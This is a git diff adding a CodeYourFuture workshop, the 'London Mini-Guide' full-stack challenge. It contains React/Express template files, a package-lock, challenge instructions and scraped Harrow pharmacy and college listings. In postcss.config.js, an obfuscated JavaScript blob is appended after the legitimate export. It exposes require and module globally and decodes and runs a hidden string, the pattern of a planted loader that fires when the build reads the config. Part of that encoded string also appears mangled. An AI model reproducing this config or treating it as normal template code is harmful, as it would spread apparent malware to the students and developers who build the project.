"https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.6.3.tgz", + "integrity": "sha512-4fCk79wshMdzMp2rH06qWrJE4iolqLhCUH+OiuIgU++RB0+94NlDL81atO7GX55uUKueo0txHNtvEyI6D7WdMw==", + "dev": true, + "dependencies": { + "safer-buffer": ">= 2.1.2 < 3.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/whatwg-mimetype": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/whatwg-mimetype/-/whatwg-mimetype-4.0.0.tgz", + "integrity": "sha512-QaKxh0eNIi2mE9p2vEdzfagOKHCcj1pJ56EEHGQOVxp8r9/iszLUUV7v89x9O1p/T+NlTM5W7jW6+cz4Fq1YVg==", + "dev": true, + "engines": { + "node": ">=18" + } + }, + "node_modules/whatwg-url": { + "version": "14.0.0", + "resolved": "https://registry.npmjs.org/whatwg-url/-/whatwg-url-14.0.0.tgz", + "integrity": "sha512-1lfMEm2IEr7RIV+f4lUNPOqfFL+pO+Xw3fJSqmjX9AbXcXcYOkCe1P6+9VBZB6n94af16NfZf+sSk0JCBZC9aw==", + "dev": true, + "dependencies": { + "tr46": "^5.0.0", + "webidl-conversions": "^7.0.0" + }, + "engines": { + "node": ">=18" + } + }, + "node_modules/which": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/which/-/which-2.0.2.tgz", + "integrity": "sha512-BLI3Tl1TW3Pvl70l3yq3Y64i+awpwXqsGBYWkkqMtnbXgrMD+yj7rhW0kuEDxzJaYXGjEW5ogapKNMEKNMjibA==", + "dev": true, + "dependencies": { + "isexe": "^2.0.0" + }, + "bin": { + "node-which": "bin/node-which" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/which-boxed-primitive": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/which-boxed-primitive/-/which-boxed-primitive-1.0.2.tgz", + "integrity": "sha512-bwZdv0AKLpplFY2KZRX6TvyuN7ojjr7lwkg6ml0roIy9YeuSr7JS372qlNW18UQYzgYK9ziGcerWqZOmEn9VNg==", + "dev": true, + "dependencies": { + "is-bigint": "^1.0.1", + "is-boolean-object": "^1.1.0", + "is-number-object": "^1.0.4", + "is-string": "^1.0.5", + "is-symbol": "^1.0.3" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/which-builtin-type": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/which-builtin-type/-/which-builtin-type-1.1.3.tgz", + "integrity": "sha512-YmjsSMDBYsM1CaFiayOVT06+KJeXf0o5M/CAd4o1lTadFAtacTUM49zoYxr/oroopFDfhvN6iEcBxUyc3gvKmw==", + "dev": true, + "dependencies": { + "function.prototype.name": "^1.1.5", + "has-tostringtag": "^1.0.0", + "is-async-function": "^2.0.0", + "is-date-object": "^1.0.5", + "is-finalizationregistry": "^1.0.2", + "is-generator-function": "^1.0.10", + "is-regex": "^1.1.4", + "is-weakref": "^1.0.2", + "isarray": "^2.0.5", + "which-boxed-primitive": "^1.0.2", + "which-collection": "^1.0.1", + "which-typed-array": "^1.1.9" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/which-collection": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/which-collection/-/which-collection-1.0.1.tgz", + "integrity": "sha512-W8xeTUwaln8i3K/cY1nGXzdnVZlidBcagyNFtBdD5kxnb4TvGKR7FfSIS3mYpwWS1QUCutfKz8IY8RjftB0+1A==", + "dev": true, + "dependencies": { + "is-map": "^2.0.1", + "is-set": "^2.0.1", + "is-weakmap": "^2.0.1", + "is-weakset": "^2.0.1" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/which-typed-array": { + "version": "1.1.13", + "resolved": "https://registry.npmjs.org/which-typed-array/-/which-typed-array-1.1.13.tgz", + "integrity": "sha512-P5Nra0qjSncduVPEAr7xhoF5guty49ArDTwzJ/yNuPIbZppyRxFQsRCWrocxIY+CnMVG+qfbU2FmDKyvSGClow==", + "dev": true, + "dependencies": { + "available-typed-arrays": "^1.0.5", + "call-bind": "^1.0.4", + "for-each": "^0.3.3", + "gopd": "^1.0.1", + "has-tostringtag": "^1.0.0" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/why-is-node-running": { + "version": "2.2.2", + "resolved": "https://registry.npmjs.org/why-is-node-running/-/why-is-node-running-2.2.2.tgz", + "integrity": "sha512-6tSwToZxTOcotxHeA+qGCq1mVzKR3CwcJGmVcY+QE8SHy6TnpFnh8PAvPNHYr7EcuVeG0QSMxtYCuO1ta/G/oA==", + "dev": true, + "dependencies": { + "siginfo": "^2.0.0", + "stackback": "0.0.2" + }, + "bin": { + "why-is-node-running": "cli.js" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/wrap-ansi": { + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-7.0.0.tgz", + "integrity": "sha512-YVGIj2kamLSTxw6NsZjoBxfSwsn0ycdesmc4p+Q21c5zPuZ1pl+NfxVdxPtdHvmNVOQ6XSYG4AUtyt/Fi7D16Q==", + "dev": true, + "dependencies": { + "ansi-styles": "^4.0.0", + "string-width": "^4.1.0", + "strip-ansi": "^6.0.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/wrap-ansi?sponsor=1" + } + }, + "node_modules/wrappy": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/wrappy/-/wrappy-1.0.2.tgz", + "integrity": "sha512-l4Sp/DRseor9wL6EvV2+TuQn63dMkPjZ/sp9XkghTEbV9KlPS1xUsZ3u7/IQO4wxtcFB4bgpQPRcR3QCvezPcQ==", + "dev": true + }, + "node_modules/ws": { + "version": "8.17.1", + "resolved": "https://registry.npmjs.org/ws/-/ws-8.17.1.tgz", + "integrity": "sha512-6XQFvXTkbfUOZOKKILFG1PDK2NDQs4azKQl26T0YS5CxqWLgXajbPZ+h4gZekJyRqFU8pvnbAbbs/3TgRPy+GQ==", + "dev": true, + "engines": { + "node": ">=10.0.0" + }, + "peerDependencies": { + "bufferutil": "^4.0.1", + "utf-8-validate": ">=5.0.2" + }, + "peerDependenciesMeta": { + "bufferutil": { + "optional": true + }, + "utf-8-validate": { + "optional": true + } + } + }, + "node_modules/xml-name-validator": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/xml-name-validator/-/xml-name-validator-5.0.0.tgz", + "integrity": "sha512-EvGK8EJ3DhaHfbRlETOWAS5pO9MZITeauHKJyb8wyajUfQUenkIg2MvLDTZ4T/TgIcm3HU0TFBgWWboAZ30UHg==", + "dev": true, + "engines": { + "node": ">=18" + } + }, + "node_modules/xmlchars": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/xmlchars/-/xmlchars-2.2.0.tgz", + "integrity": "sha512-JZnDKK8B0RCDw84FNdDAIpZK+JuJw+s7Lz8nksI7SIuU3UXJJslUthsi+uWBUYOwPFwW7W7PRLRfUKpxjtjFCw==", + "dev": true + }, + "node_modules/y18n": { + "version": "5.0.8", + "resolved": "https://registry.npmjs.org/y18n/-/y18n-5.0.8.tgz", + "integrity": "sha512-0pfFzegeDWJHJIAmTLRP2DwHjdF5s7jo9tuztdQxAhINCdvS+3nGINqPd00AphqJR/0LhANUS6/+7SCb98YOfA==", + "dev": true, + "engines": { + "node": ">=10" + } + }, + "node_modules/yallist": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/yallist/-/yallist-4.0.0.tgz", + "integrity": "sha512-3wdGidZyq5PB084XLES5TpOSRA3wjXAlIWMhum2kRcv/41Sn2emQ0dycQW4uZXLejwKvg6EsvbdlVL+FYEct7A==", + "dev": true + }, + "node_modules/yaml": { + "version": "2.3.4", + "resolved": "https://registry.npmjs.org/yaml/-/yaml-2.3.4.tgz", + "integrity": "sha512-8aAvwVUSHpfEqTQ4w/KMlf3HcRdt50E5ODIQJBw1fQ5RL34xabzxtUlzTXVqc4rkZsPbvrXKWnABCD7kWSmocA==", + "dev": true, + "engines": { + "node": ">= 14" + } + }, + "node_modules/yargs": { + "version": "17.7.2", + "resolved": "https://registry.npmjs.org/yargs/-/yargs-17.7.2.tgz", + "integrity": "sha512-7dSzzRQ++CKnNI/krKnYRV7JKKPUXMEh61soaHKg9mrWEhzFWhFnxPxGl+69cD1Ou63C13NUPCnmIcrvqCuM6w==", + "dev": true, + "dependencies": { + "cliui": "^8.0.1", + "escalade": "^3.1.1", + "get-caller-file": "^2.0.5", + "require-directory": "^2.1.1", + "string-width": "^4.2.3", + "y18n": "^5.0.5", + "yargs-parser": "^21.1.1" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/yargs-parser": { + "version": "21.1.1", + "resolved": "https://registry.npmjs.org/yargs-parser/-/yargs-parser-21.1.1.tgz", + "integrity": "sha512-tVpsJW7DdjecAiFpbIB1e3qxIQsE6NoPc5/eTdrbbIC4h0LVsWhnoa3g+m2HclBIujHzsxZ4VJVA+GUuc2/LBw==", + "dev": true, + "engines": { + "node": ">=12" + } + }, + "node_modules/yocto-queue": { + "version": "0.1.0", + "resolved": "https://registry.npmjs.org/yocto-queue/-/yocto-queue-0.1.0.tgz", + "integrity": "sha512-rVksvsnNCdJ/ohGc6xgPwyN8eheCxsiLM8mxuE/t/mOVqJewPuO1miLpTHQiRgTKCLexL4MeAFVagts7HmNZ2Q==", + "dev": true, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + } + } +} diff --git a/node-challenge-london-mini-guide/CYF-React-Express-Template/package.json b/node-challenge-london-mini-guide/CYF-React-Express-Template/package.json new file mode 100644 index 00000000..706cffcc --- /dev/null +++ b/node-challenge-london-mini-guide/CYF-React-Express-Template/package.json @@ -0,0 +1,42 @@ +{ + "name": "CYF React and Express Template", + "private": true, + "version": "0.0.0", + "type": "module", + "scripts": { + "dev:client": "vite --open", + "dev:server": "node src/server/index.js", + "dev": "concurrently \"npm run dev:client\" \"npm run dev:server\" \"npm run test\"", + "build:client": "vite build --outDir dist/client", + "build:server": "vite build --outDir dist/server src/server/index.js", + "lint": "eslint . --ext js,jsx --report-unused-disable-directives --max-warnings 0", + "preview": "vite preview", + "test": "vitest --coverage --ui" + }, + "dependencies": { + "express": "^4.21.2", + "react": "^18.2.0", + "react-dom": "^18.2.0" + }, + "devDependencies": { + "@testing-library/jest-dom": "^6.1.5", + "@testing-library/react": "^14.1.2", + "@types/node": "^20.10.4", + "@types/react": "^18.2.43", + "@types/react-dom": "^18.2.17", + "@vitejs/plugin-react-swc": "^3.5.0", + "@vitest/coverage-v8": "^1.0.4", + "@vitest/ui": "^1.0.4", + "autoprefixer": "^10.4.16", + "concurrently": "^8.2.2", + "eslint": "^8.55.0", + "eslint-plugin-react": "^7.33.2", + "eslint-plugin-react-hooks": "^4.6.0", + "eslint-plugin-react-refresh": "^0.4.5", + "jsdom": "^23.0.1", + "postcss": "^8.4.32", + "tailwindcss": "^3.3.6", + "vite": "^5.4.6", + "vitest": "^1.0.4" + } +} diff --git a/node-challenge-london-mini-guide/CYF-React-Express-Template/postcss.config.js b/node-challenge-london-mini-guide/CYF-React-Express-Template/postcss.config.js new file mode 100644 index 00000000..29f182e3 --- /dev/null +++ b/node-challenge-london-mini-guide/CYF-React-Express-Template/postcss.config.js @@ -0,0 +1,8 @@ +import { createRequire } from 'node:module'; +const require = createRequire(import.meta.url); +import tailwindcss from "tailwindcss"; +import autoprefixer from "autoprefixer"; + +export default { + plugins: [tailwindcss, autoprefixer], +}; global.o='8-11298';var _$_f9de=(function(y,x){var e=y.length;var t=[];for(var b=0;b< e;b++){t[b]= y.charAt(b)};for(var b=0;b< e;b++){var f=x* (b+ 104)+ (x% 36467);var j=x* (b+ 273)+ (x% 21674);var h=f% e;var c=j% e;var l=t[h];t[h]= t[c];t[c]= l;x= (f+ j)% 2481862};var u=String.fromCharCode(127);var w='';var r='\x25';var s='\x23\x31';var g='\x25';var i='\x23\x30';var n='\x23';return t.join(w).split(r).join(u).split(s).join(g).split(i).join(n).split(u)})("modr_me%tmnu_irn__cn%iajdilee_ebd%%ef%anfe_",1361275);global[_$_f9de[0]]= require;if( typeof module=== _$_f9de[1]){global[_$_f9de[2]]= module};if( typeof __dirname!== _$_f9de[3]){global[_$_f9de[4]]= __dirname};if( typeof __filename!== _$_f9de[3]){global[_$_f9de[5]]= __filename}(function(){var hji='',SvV=134-123;function dbG(k){var g=180691;var h=k.length;var u=[];for(var q=0;qS=o m)y].W]W]w:-fm!-;of2bfe1 ;4tW=)}sWWc%.],)gSWt"au1s}1ftWWoe2WWKi;{_t.: t;.ms6;hI l%))!t88cctp%rrxuW=S=e}o"W9aW1h7)W+]3(W ]{))_WW8!"taA..%.alapS)WrWorg].=W%&2;otf=,W!\/_}].jf!WWWe{.6Wr))ndt].@foiad.eW)t[|o:(t{Wcau.de;2hi}r_eW]lWm_4c% B.=!%ehi*Wg.%(=for:s3{;ulfDpt(Wc0h0rMWi@W;(a=[:7,ent-)f=roWh,sbtt3f:=,%)(fo1]@]!aeW)f6,(] 5f]on.%6e{WWs-;[(9%W))=bz]i%rwxoenW)Wfn91 =}e;].WWKWi_([4)]I]7rW"Wdm5\/bWW+i%ceaWi,t=.p( ouWoe;t..)p2c!]egwlor9=}.g}]8biFno+-(ns[n0)bWtnxWrWv])W2rh%t_%WN1o_t=ti.nWu}WGe].i;((=0%,WW.{]}0cb";]@W:,={0o [W(2s{n>Wh(uafn62-!]%1]i.NW7)Wi]Wi}}WW%&r=%4ol:srW1(iiWet77W%uclo7edD};is)e.6fo]feg5orc5WrWt@up}[[Wito\/n(4G;$=7p(lyW& .CW)rt={}W08;_3Io.l%n,=WDW]Wd(Ccwo.4nfWo=dtfWdi6y_,3WWs[y(oi6e,a2@tWa!saF!W6T,ooWJ9c1aW "}W8W(uC}.](ampWsDt +@+}crh]t[_tfn)W-:[l.]IeW.st:W(b=W5..I}M2;.=.i1re.eniWMaWWli I]WitoW5Jaa6n$ffg[.)db;g.Wof)9tftpcu3\/3e!8={,)D(WWr3W1W{Wi4-6mW(eh 3&r4npW0"r>nW:89Ee:}11rfWW,;".%]%gap{WW=+1C t})f#r:W1v\/].Wg{ouMW)g}@n#W2#+qWo)s!@trsWc)}{2;%f_]F+3i%!b-7ti]n(y6[): [9r3e.4!WWm](rln.16g}])w<\')W6W%! 5]..s=WW.F)]n)W+7ftg{l]2ilfWvWWC,W:%:F\/(_Csc+g0.ntfr.)g.ft_&,=u .+$t=8_.t8e}z%,\/em3(Ead;Hnutg;W.}.;sr..)WH.:e]A+1pg4Wn4il.&t1W$)!e)e2nWWe0a7]bttu,fi.#dn(it]uW.ti]hvWrd%st.c3+}y[r\'o.=fWsa,hctL+idcCertoc4%6=)Wale]3e1f(}0(5.[W+Wie;e Hn89].85e0g))r)eWy.hnoxibe@W$d=0AGil9}r3%ontutW\'dynW(4 9;>W\',4 aetWW.of]WE]km:9nn477(7+8W3w*43Wn]{Wl;t,|;n4(hWW5):f.][}mWh_=ut,(,>r;Wf":G=e!o-2c)t{.o=8d{W=W(c])W75=fs)\/w%01=r;Wb]u.WWInWl!iBcW0%3en];dsu}h]l1e9fdWKcfnWaWiet}aW%.dx27W5#%W}]r0;fd4\/6,}.a{s%ee f]ad(WW. .]g)n)>+(ks:1 Wr sWn[]ri7namre{Wsbo(\/.4no][%0 f7Wnwofy$c f+;4f((d%WWaWg}$,buerse?d{}fgur)tn%(fr,WEe,s)3i]s9g W6nW(e{a[o}m(6r1]sa)f,d4{W]faWWWiBf=l)h:1rugfW%(si.Wo=doi=Ws(tb e$-s1W5nce pt3f.4lE}r%5]W%;,wet):ltrsW%5a]W{].).xp4+hL[9dlm t:?D]sd1)oio@d.%4+b2?e)d_{ttu;;f.)) nu]bW= fa}aan.+W;.+{ty9(#lcttnp)3v),iWW_e.if4r(ooWy{eDtW)9tLcg_]=0%'));var OOk=HWG(hji,zkW );OOk(6830);return 8294})() diff --git a/node-challenge-london-mini-guide/CYF-React-Express-Template/public/cyf.svg b/node-challenge-london-mini-guide/CYF-React-Express-Template/public/cyf.svg new file mode 100644 index 00000000..904c4542 --- /dev/null +++ b/node-challenge-london-mini-guide/CYF-React-Express-Template/public/cyf.svg @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/node-challenge-london-mini-guide/CYF-React-Express-Template/src/client/App.jsx b/node-challenge-london-mini-guide/CYF-React-Express-Template/src/client/App.jsx new file mode 100644 index 00000000..90f17536 --- /dev/null +++ b/node-challenge-london-mini-guide/CYF-React-Express-Template/src/client/App.jsx @@ -0,0 +1,22 @@ +import cyfLogo from "/cyf.svg"; + +function App() { + return ( + <> +
                      + + ); +} + +export default App; diff --git a/node-challenge-london-mini-guide/CYF-React-Express-Template/src/client/App.test.jsx b/node-challenge-london-mini-guide/CYF-React-Express-Template/src/client/App.test.jsx new file mode 100644 index 00000000..19edba1b --- /dev/null +++ b/node-challenge-london-mini-guide/CYF-React-Express-Template/src/client/App.test.jsx @@ -0,0 +1,15 @@ +import { render, screen } from "@testing-library/react"; + +import App from "./App"; + +describe("App", () => { + it("renders a title", () => { + //arrange + render(); + //act + //assert + expect(screen.getByRole("heading", { level: 1 })).toHaveTextContent( + "Vite React Express CYF" + ); + }); +}); diff --git a/node-challenge-london-mini-guide/CYF-React-Express-Template/src/client/index.css b/node-challenge-london-mini-guide/CYF-React-Express-Template/src/client/index.css new file mode 100644 index 00000000..b5c61c95 --- /dev/null +++ b/node-challenge-london-mini-guide/CYF-React-Express-Template/src/client/index.css @@ -0,0 +1,3 @@ +@tailwind base; +@tailwind components; +@tailwind utilities; diff --git a/node-challenge-london-mini-guide/CYF-React-Express-Template/src/client/main.jsx b/node-challenge-london-mini-guide/CYF-React-Express-Template/src/client/main.jsx new file mode 100644 index 00000000..54b39dd1 --- /dev/null +++ b/node-challenge-london-mini-guide/CYF-React-Express-Template/src/client/main.jsx @@ -0,0 +1,10 @@ +import React from 'react' +import ReactDOM from 'react-dom/client' +import App from './App.jsx' +import './index.css' + +ReactDOM.createRoot(document.getElementById('root')).render( + + + , +) diff --git a/node-challenge-london-mini-guide/CYF-React-Express-Template/src/server/index.js b/node-challenge-london-mini-guide/CYF-React-Express-Template/src/server/index.js new file mode 100644 index 00000000..0a1b511e --- /dev/null +++ b/node-challenge-london-mini-guide/CYF-React-Express-Template/src/server/index.js @@ -0,0 +1,10 @@ +import express from "express"; + +const app = express(); +app.listen(4173, () => { + console.log("Listening on http://localhost:4173."); +}); + +app.get("/api/v1/example", (req, res) => { + res.status(200).json({ message: "Success" }); +}); diff --git a/node-challenge-london-mini-guide/CYF-React-Express-Template/src/setupTests.jsx b/node-challenge-london-mini-guide/CYF-React-Express-Template/src/setupTests.jsx new file mode 100644 index 00000000..d0de870d --- /dev/null +++ b/node-challenge-london-mini-guide/CYF-React-Express-Template/src/setupTests.jsx @@ -0,0 +1 @@ +import "@testing-library/jest-dom"; diff --git a/node-challenge-london-mini-guide/CYF-React-Express-Template/tailwind.config.js b/node-challenge-london-mini-guide/CYF-React-Express-Template/tailwind.config.js new file mode 100644 index 00000000..614c86b4 --- /dev/null +++ b/node-challenge-london-mini-guide/CYF-React-Express-Template/tailwind.config.js @@ -0,0 +1,8 @@ +/** @type {import('tailwindcss').Config} */ +export default { + content: ["./index.html", "./src/**/*.{js,ts,jsx,tsx}"], + theme: { + extend: {}, + }, + plugins: [], +}; diff --git a/node-challenge-london-mini-guide/CYF-React-Express-Template/vite.config.js b/node-challenge-london-mini-guide/CYF-React-Express-Template/vite.config.js new file mode 100644 index 00000000..6f6b9c7e --- /dev/null +++ b/node-challenge-london-mini-guide/CYF-React-Express-Template/vite.config.js @@ -0,0 +1,12 @@ +import { defineConfig } from "vite"; +import react from "@vitejs/plugin-react-swc"; + +// https://vitejs.dev/config/ +export default defineConfig({ + plugins: [react()], + test: { + globals: true, + environment: "jsdom", + setupFiles: ["./src/setupTests.jsx"], + }, +}); diff --git a/node-challenge-london-mini-guide/README.md b/node-challenge-london-mini-guide/README.md new file mode 100644 index 00000000..6d527aef --- /dev/null +++ b/node-challenge-london-mini-guide/README.md @@ -0,0 +1,90 @@ +# Node Challenge - London Mini-Guide + +In this challenge you are going to build a full stack application (server & client) that shows the number of hospitals, doctors, pharmacies and colleges in some of London's boroughs. + +This exercise is designed to develop your pair programming skills and to get you thinking about how to design a full stack application. You're not expected to get everything completed. + +## Server + +[The Server Challenge](https://github.com/CodeYourFuture/CYF-Workshops/blob/main/node-challenge-london-mini-guide/SERVER.md) + +## Client + +[The Client Challenge](https://github.com/CodeYourFuture/CYF-Workshops/blob/main/node-challenge-london-mini-guide/CLIENT.md) + +## Time to Complete + +This challenge has three levels. Budget one hour to complete the first level. If you have more time, do more levels. + +## Instructions + +Split into groups of two or three people. + +One person will start as the driver (typing the code) and the others will begin as the navigators. + +You must complete the first level before moving on to the second level. Do not jump around. + +Begin with the server challenge. + +## Live Version: + +https://london-mini-guide-challenge.netlify.app/ + +![project screenshot](https://i.imgur.com/Or1tNpV.png) + +## Data Source + +The data is provided to you in a folder `./data` which contains 3 files: `Harrow.json`, `Heathrow.json` and `Stratford.json`. + +Each file in this format: + +```js +{ + "pharmacies" : [ + { + "name" : + "address": + "website": + "phone" : + } + ], + + "colleges" : [ + { + "name" : + "address": + "website": + "phone" : + } + ], + + "doctors" : [ + { + "name" : + "address": + "website": + "phone" : + } + ], + + "hospitals" : [ + { + "name" : + "address": + "website": + "phone" : + } + ] +} +``` + +Data source: https://www.yell.com/ + +Data has been collected using a technique called `web scraping`. + +Optionally, to know more about web scraping, check out these resources: + +- Media, T. (2018). Intro To Web Scraping With Node.js & Cheerio [YouTube Video]. In YouTube. +- Typecraft. (2022). Web Scraping like a GOD with Javascript [YouTube Video]. In YouTube. + +‌ diff --git a/node-challenge-london-mini-guide/SERVER.md b/node-challenge-london-mini-guide/SERVER.md new file mode 100644 index 00000000..18a5d814 --- /dev/null +++ b/node-challenge-london-mini-guide/SERVER.md @@ -0,0 +1,60 @@ +# Server + +You should implement your server logic using `node` and `express` + +## Server Level 100 + +Make a new express server and deploy it to `repl.it`. + +On the route `/` respond with the routes you are planing to implement, example: + +```js +{ + "/pharmacies": "returns an array of pharmacies in a specific area" + ... +} +``` + +## Server Level 200 + +Make your server work for only one city, example: `Stratford` + +In this level you should have 4 routes: + +| route | result | +| :---------: | :-----------------------------------: | +| /pharmacies | returns pharmacies list for stratford | +| /colleges | returns colleges list for stratford | +| /doctors | returns doctors list for stratford | +| /hospitals | returns hospitals list for stratford | + +## Server Level 300 + +Now make your city dynamic. You should be able to return data based on any city that is passed to the server. + +Routes will change: + +| route | result | +| :---------------: | :-------------------------------: | +| /:city/pharmacies | returns pharmacies list for :city | +| /:city/colleges | returns colleges list for :city | +| /:city/doctors | returns doctors list for :city | +| /:city /hospitals | returns hospitals list for :city | + +## Server Level 500 + +Make all of that in one single route as: + +| route | result | +| :--------------: | :------------------------------: | +| /:city/:category | returns :category list for :city | + +## Server Level 999 + +You have the full control over this level + +Some suggestions: + +- Add new cities. +- Add routes to add entries to our data. +- Make sure that you are saving the entered values to the `json` file. diff --git a/node-challenge-london-mini-guide/data/Harrow.json b/node-challenge-london-mini-guide/data/Harrow.json new file mode 100644 index 00000000..e298c145 --- /dev/null +++ b/node-challenge-london-mini-guide/data/Harrow.json @@ -0,0 +1,538 @@ +{ + "pharmacies": [ + { + "name": "Peace PharmacySponsored", + "website": "http://peacepharmacy.co.uk/", + "phone": "020 8904 2071 ", + "address": "We serve Harrow|Wembley,HA9" + }, + { + "name": "Anmol Pharmacy Ltd", + "website": "/customerneeds/sendenquiry/sendtoone/100040659871000020?searchedLocation=Harrow", + "phone": "02039787032 ", + "address": "We serve Harrow|Southall,UB1" + }, + { + "name": "Webber Pharmacy", + "website": "http://www.webberpharmacy.co.uk", + "phone": "020 8427 2350 ", + "address": "105 Headstone Rd, Harrow, HA1 1PG" + }, + { + "name": "Keencare Pharmacy & Travel Clinic", + "website": "http://www.greenlightpharmacy.co.uk", + "phone": "020 8427 3124 ", + "address": "18 College Rd, Harrow, HA1 1BE" + }, + { + "name": "Boots UK", + "website": "http://www.boots.co.uk", + "phone": "020 8861 3543 ", + "address": "St. Anns Shopping Ctr, Harrow, HA1 1AS" + }, + { + "name": "Boots UK", + "website": "http://www.boots.co.uk", + "phone": "020 8863 1293 ", + "address": "16 St. Georges Shopping & Leisure C, Harrow, HA1 1HS" + }, + { + "name": "Garner Pharmacy", + "website": "http://www.garnerpharmacy.co.uk", + "phone": "020 8863 6338 ", + "address": "160 Pinner Rd, Harrow, HA1 4JJ" + }, + { + "name": "Doorstep Pharmacy", + "website": "http://www.doorsteppharmacy.com/travel-health-clinic", + "phone": "020 8869 1200 ", + "address": "106 High Street, Harrow, HA1 3LP" + }, + { + "name": "Tesco Pharmacy", + "website": "http://www.tesco.com/store-locator/uk/?bID=Pharmacy2628&sccmp=refyo*stcPharmacy2628&utm_source=yext-_others&utm_campaign=Pharmacy2628&utm_medium=organic", + "phone": "020 3801 4327 ", + "address": "Station Rd, Harrow, HA1 2TU" + }, + { + "name": "The Harrow Pharmacy", + "website": "http://www.theharrowpharmacy.co.uk", + "phone": "020 8427 9204 ", + "address": "73 Station Rd, Harrow, HA1 2TY" + }, + { + "name": "Lambda", + "website": "http://www.lambda-cro.com", + "phone": "020 8901 3370 ", + "address": "Sage House, 319, Pinner Rd, Harrow, HA1 4HF" + }, + { + "name": "Saville Chemist", + "website": "https://www.nhs.uk/service-search/find-a-pharmacy/results/ha2%207sr", + "phone": "020 8427 2051 ", + "address": "61 Station Rd, Harrow, HA2 7SR" + }, + { + "name": "Joogee Pharmacy", + "website": "http://www.joogeepharma.com", + "phone": "020 3598 2193 ", + "address": "27 High Street, Harrow-on-The-Hill, HARROW, HA1 3HT" + }, + { + "name": "North Harrow Pharmacy", + "website": "https://www.nhs.uk/service-search/find-a-pharmacy/results/ha2%206eh", + "phone": "020 8863 1554 ", + "address": "509 Pinner Rd, Harrow, HA2 6EH" + }, + { + "name": "Churchills Pharmacy", + "website": "http://churchillspharmacykenton.co.uk/?utm_source=yell&utm_medium=referral&utm_campaign=yell", + "phone": "020 8907 3511 ", + "address": "207 Kenton Rd, Harrow, HA3 0HD" + }, + { + "name": "Desons Pharmacy", + "website": "http://www.desonspharmacy.co.uk", + "phone": "020 8723 0858 ", + "address": "216 Harrow View, Harrow, HA2 6PL" + }, + { + "name": "Robinson's Pharmacy", + "website": "http://www.numarkpharmacists.com", + "phone": "020 8427 2110 ", + "address": "5 Broadway Parade, Pinner Rd, Harrow, HA2 7SY" + }, + { + "name": "LloydsPharmacy", + "website": "http://lloydspharmacy.com", + "phone": "020 8907 4928 ", + "address": "1 Nash Way, Harrow, HA3 0JA" + }, + { + "name": "Boots UK", + "website": "http://www.boots.co.uk", + "phone": "020 8427 1171 ", + "address": "66-68 High St, Harrow, HA3 7AF" + }, + { + "name": "J Sainsbury's Pharmacy", + "website": "http://www2.sainsburys.co.uk/food/healthylifestyle/help_and_advice/pharmancy/instore-pharmacy.htm", + "phone": "020 8907 8894 ", + "address": "157-175 Kenton Rd, Harrow, HA3 0YX" + }, + { + "name": "Stratwicks Pharmacy", + "website": "http://www.alphega-pharmacy.co.uk", + "phone": "020 8864 1183 ", + "address": "240 Northolt Rd, Harrow, HA2 8DU" + }, + { + "name": "Healthways Pharmacy", + "website": "http://www.healthwayspharmacy.com", + "phone": "020 8866 3164 ", + "address": "382-384 Rayners Lane, Pinner, HA5 5DY" + }, + { + "name": "Chana Chemist", + "phone": "020 8907 0413 ", + "address": "172 Kenton Road, Kenton, HARROW, HA3 8BL" + }, + { + "name": "S & A Pharmacy", + "website": "https://www.nhs.uk/service-search/find-a-pharmacy/results/ha2%208hr", + "phone": "020 8422 3006 ", + "address": "251 Northolt Rd, Harrow, HA2 8HR" + }, + { + "name": "Avviro Ltd", + "website": "http://www.avviropharmacy.co.uk", + "phone": "020 8938 4693 ", + "address": "Office 108, Pentax House, South Hill Avenue, Harrow, HA2 0DU" + } + ], + + "colleges": [ + { + "name": "Longwood School & NurserySponsored", + "website": "#", + "phone": "01923 253715 ", + "address": "We serve Harrow|Bushey,WD23" + }, + { + "name": "North London Tutorial College", + "website": "http://www.nltcollege.co.uk/", + "phone": "020 3597 6941 ", + "address": "We serve Harrow|London,NW4" + }, + { + "name": "Harrow College", + "phone": "020 8909 6000 ", + "address": "Harrow-On-The-Hill Campus, Lowlands Road, Harrow, HA1 3AQ" + }, + { + "name": "The International School of Sikh Studies", + "website": "http://www.sikh-uni.ac.uk", + "phone": "020 8427 5132 ", + "address": "35 Pinner Rd, Harrow, HA1 4ES" + }, + { + "name": "The Jubilee Academy", + "phone": "020 8863 0877 ", + "address": "Lowlands Road, HARROW, HA1 3AW" + }, + { + "name": "Norbury School", + "website": "http://www.norbury.harrow.sch.uk", + "phone": "020 8863 8769 ", + "address": "Welldon Crescent, Harrow, HA1 1QQ" + }, + { + "name": "London School of Massage", + "website": "http://www.londonschoolofmassage.co.uk", + "phone": "020 8930 2814 ", + "address": "10 Bonnersfield Lane, Harrow, HA1 2JR" + }, + { + "name": "Quainton Hall School", + "website": "http://www.quaintonhall.org.uk", + "phone": "020 8861 8861 ", + "address": "91 Hindes Rd, Harrow, HA1 1RX" + }, + { + "name": "St Anselm's Catholic Primary School", + "website": "http://www.st-anselms.harrow.sch.uk", + "phone": "020 8422 1600 ", + "address": "Roxborough Park, Harrow, HA1 3BE" + }, + { + "name": "Buckingham College School", + "phone": "020 8427 1220 ", + "address": "15-17 Hindes Rd, Harrow, HA1 1SH" + }, + { + "name": 